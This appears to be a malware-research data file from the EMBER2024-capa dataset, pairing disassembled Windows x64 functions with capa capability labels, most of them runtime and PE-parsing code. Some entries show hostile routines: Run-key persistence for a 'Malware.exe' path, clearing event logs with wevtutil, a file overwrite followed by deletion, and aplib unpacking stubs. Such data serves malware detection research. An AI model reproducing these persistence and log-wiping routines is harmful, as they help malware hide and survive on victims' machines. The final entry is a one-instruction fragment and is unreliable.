joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400147f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14001b750
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14001b750
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x1400154c2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140047228]
test eax, eax
je 0x14001555a
lea rax, [0x140047200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140047230]
mov qword [rbp - 8], rax
jmp 0x14001553e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140015532
cmp qword [rbp - 0x10], 0
je 0x140015532
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400154f8
lea rax, [0x140047200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14001555b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140015660
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140015688
mov eax, 0
jmp 0x1400156d6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400156b1
mov eax, 0
jmp 0x1400156d6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400156d1
mov eax, 0
jmp 0x1400156d6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1400156dc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001575a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140015751
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140015751
mov rax, qword [rbp - 8]
jmp 0x14001576f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140015724
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x15c8058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.015c81df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x15c8089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x15c806f
add dl, dl
jne 0x15c8096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x15c80f6
xor eax, eax
add dl, dl
jne 0x15c80a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x15c81ad
add dl, dl
jne 0x15c80b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15c80c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15c80d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15c80dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x15c80ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x15c807e
mov eax, 1
add dl, dl
jne 0x15c8106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15c8113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x15c80fb
sub eax, ebx
mov ebx, 1
jne 0x15c814c
mov ecx, 1
add dl, dl
jne 0x15c812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x15c813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x15c8123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x15c807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x15c8168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x15c8175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x15c815d
cmp eax, 0x7d00
jae 0x15c819b
cmp eax, 0x500
jb 0x15c8196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x15c807e
cmp eax, 0x7f
ja 0x15c819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x15c807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x15c81d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x15c807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001ab0
Capabilities:
Terminate process

Disassembly:
movzx r9d, si
mov r8, rbx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140001218
mov dword [0x14001b038], eax
cmp dword [0x14001b020], 0
jne 0x140003f08
mov ecx, eax
call qword [sym.imp.MSVCR120_CLR0400.dll_exit]
nop
jmp 0x140003f08
sub rsp, 0x28
call fcn.1400016e0
add rsp, 0x28
jmp 0x140001ac0
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x30
and qword [rax - 0x10], 0
and dword [rax - 0x18], 0
call qword [sym.imp.MSVCR120_CLR0400.dll___crtGetShowWindowMode]
movzx esi, ax
mov rcx, qword gs:[0x30]
mov rdx, qword [rcx + 8]
xor ebx, ebx
xor eax, eax
lock cmpxchg qword [0x14001b218], rdx
jne 0x140003e92
mov eax, dword [0x14001b220]
cmp eax, 1
je 0x140003ea7
mov eax, dword [0x14001b220]
test eax, eax
jne 0x140003ebf
mov dword [0x14001b220], 1
lea rdx, [0x1400117c8]
lea rcx, [0x1400117a8]
call fcn.1400ac000
test eax, eax
jne 0x140003eb5
mov eax, dword [0x14001b220]
cmp eax, 1
jne 0x140001b6c
lea rdx, [0x1400117a0]
lea rcx, [0x140011758]
call sub.MSVCR120_CLR0400.dll__initterm
mov dword [0x14001b220], 2
test ebx, ebx
jne 0x140001b79
xor eax, eax
xchg qword [0x14001b218], rax
cmp qword [0x14001b238], 0
jne 0x140003ecf
mov rax, qword [sym.imp.MSVCR120_CLR0400.dll__acmdln]
mov rbx, qword [rax]
mov qword [rsp + 0x28], rbx
mov edi, dword [rsp + 0x20]
cmp byte [rbx], 0x20
jbe 0x140001bc4
cmp byte [rbx], 0x22
je 0x140003f20
movzx ecx, byte [rbx]
call qword [sym.imp.MSVCR120_CLR0400.dll__ismbblead]
test eax, eax
jne 0x140003f33
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x140001b9a
cmp byte [rbx], 0
je 0x140001bcd
test edi, edi
jne 0x140001b9f
mov al, byte [rbx]
dec al
cmp al, 0x1f
ja 0x1400011e1
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x140001bcd
cmp rax, rdx
jne 0x140003ea1
mov ebx, 1
jmp 0x140001b02
jmp 0x140001af1
lea ecx, [rax + 0x1e]
call sub.MSVCR120_CLR0400.dll__amsg_exit
jmp 0x140001b44
mov eax, 0xff
jmp 0x140003f6e
mov dword [0x14001b37c], 1
jmp 0x140001b44
lea rcx, [0x14001b238]
call fcn.14000e710
test eax, eax
je 0x140001b87
mov rbx, qword [0x14001b238]
mov rcx, rbx
mov rax, qword [0x140011568]
call rax
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call rbx
nop
jmp 0x140001b87
cmp dword [0x14001b37c], 0
jne 0x140003f1d
call qword [sym.imp.MSVCR120_CLR0400.dll__cexit]
mov eax, dword [0x14001b038]
jmp 0x140003f6e
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [rsp + 0x20], eax
jmp 0x140001ba8
inc rbx
mov qword [rsp + 0x28], rbx
jmp 0x140001bb9
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005670]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005680]
mov dword [rax], 1
mov rax, qword [0x140005690]
mov dword [rax], 1
mov rax, qword [0x1400055f0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005660]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140005730]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140005710]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400055b0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001670
Capabilities:
Delete file

Disassembly:
push rbp
push rbx
sub rsp, 0x238
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1d0], rcx
mov edx, 0x10
mov ecx, 4
call method.std.operator_std::_Ios_Openmode__std::_Ios_Openmode_
mov ecx, eax
mov rdx, qword [rbp + 0x1d0]
lea rax, [rbp - 0x40]
mov r8d, ecx
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::is_open__
xor eax, 1
test al, al
je 0x1400016cc
mov ebx, 0
jmp 0x14000179b
lea rax, [rbp + 0x19e]
mov qword [rbp + 0x1a0], rax
nop
nop
mov byte [rbp + 0x19f], 0
lea rcx, [rbp + 0x19e]
lea rdx, [rbp + 0x19f]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector_unsigned_long_long__char_const__std::allocator_char__const_
lea rax, [rbp + 0x19e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov qword [rbp + 0x1a8], 0
jmp 0x14000175a
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.size___const
mov rbx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rax, [rbp - 0x40]
mov r8, rbx
mov rcx, rax
call sym.std::ostream::write_char_const__long_long_
add qword [rbp + 0x1a8], 1
cmp qword [rbp + 0x1a8], 0x3e7
jbe 0x140001725
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::close__
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.remove
test eax, eax
sete bl
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
mov eax, ebx
jmp 0x1400017e6
add rsp, 0x238
pop rbx
pop rbp
ret

Function at 0x1400018d0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, str.C:PathToMalware.exe
mov qword [rbp - 8], rax
lea rax, [rbp - 0x10]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
sete al
test al, al
je 0x140001962
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov edx, eax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp - 8]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MalwareStartup
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 1
jmp 0x140001967
mov eax, 0
add rsp, 0x40
pop rbp
ret
Function at 0x140001970
Capabilities:
Clear windows event logs
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.wevtutil_cl_Application
mov rcx, rax
call sym.system
lea rax, str.wevtutil_cl_Security
mov rcx, rax
call sym.system
lea rax, str.wevtutil_cl_System
mov rcx, rax
call sym.system
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140001d50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400080a4]
mov rbx, rcx
test esi, esi
jle 0x140001ef0
mov rax, qword [0x1400080a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001e0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001e95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001df0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001f12
mov rax, qword [0x1400080a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400080a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ef7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001e8e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001ea0
add dword [0x1400080a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400080a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001e18
mov rax, qword [0x1400080a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1400024a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x1400024fc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400024f3
test eax, eax
jne 0x1400024f3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400024d8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002710
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002728
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002730
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002740
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000278d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002784
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000278f
add rax, 0x28
cmp rax, r9
jne 0x140002770
xor eax, eax
ret

Function at 0x140002790
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002820
mov rdx, qword [0x1400055f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000280e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000280e
cmp word [rax + 0x18], 0x20b
jne 0x14000280e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002820
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400027f9
add rbx, 0x28
cmp rbx, rdi
je 0x140002820
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400027f0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002830
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400055f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002850
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002858
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002850
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400028ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400028a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002850
add rax, 0x28
cmp rax, r9
jne 0x140002890
xor eax, eax
ret
Function at 0x1400028b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400055f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400028cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400028d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400028cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400028f0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400055f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002910
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002918
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002910
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002960
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002957
test rcx, rcx
je 0x140002910
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002948
xor eax, eax
ret

Function at 0x140002970
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400055f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000298f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002998
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400029b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400055f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400029d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400029d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029d0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400029d0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002a24
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002a30
add rdx, 0x28
cmp rdx, r9
jne 0x140002a10
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002a40
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400055f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002a62
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002a70
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002a62
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002a62
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002a62
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002ac5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002ad8
add rdx, 0x28
cmp r10, rdx
jne 0x140002ab0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002ae7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002af7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002ace
test ecx, ecx
jg 0x140002ae0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1405ff058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405ff1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405ff089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ff06f
add dl, dl
jne 0x1405ff096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ff0f6
xor eax, eax
add dl, dl
jne 0x1405ff0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405ff1ad
add dl, dl
jne 0x1405ff0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ff0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ff0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ff0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405ff0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405ff07e
mov eax, 1
add dl, dl
jne 0x1405ff106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405ff113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ff0fb
sub eax, ebx
mov ebx, 1
jne 0x1405ff14c
mov ecx, 1
add dl, dl
jne 0x1405ff12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405ff13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ff123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ff07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405ff168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405ff175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405ff15d
cmp eax, 0x7d00
jae 0x1405ff19b
cmp eax, 0x500
jb 0x1405ff196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ff07e
cmp eax, 0x7f
ja 0x1405ff19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405ff07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405ff1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405ff07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1800011d0
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Inspect section memory permissions
Resolve function by parsing pe exports

Disassembly:
sub ecx, 0x44f056b9
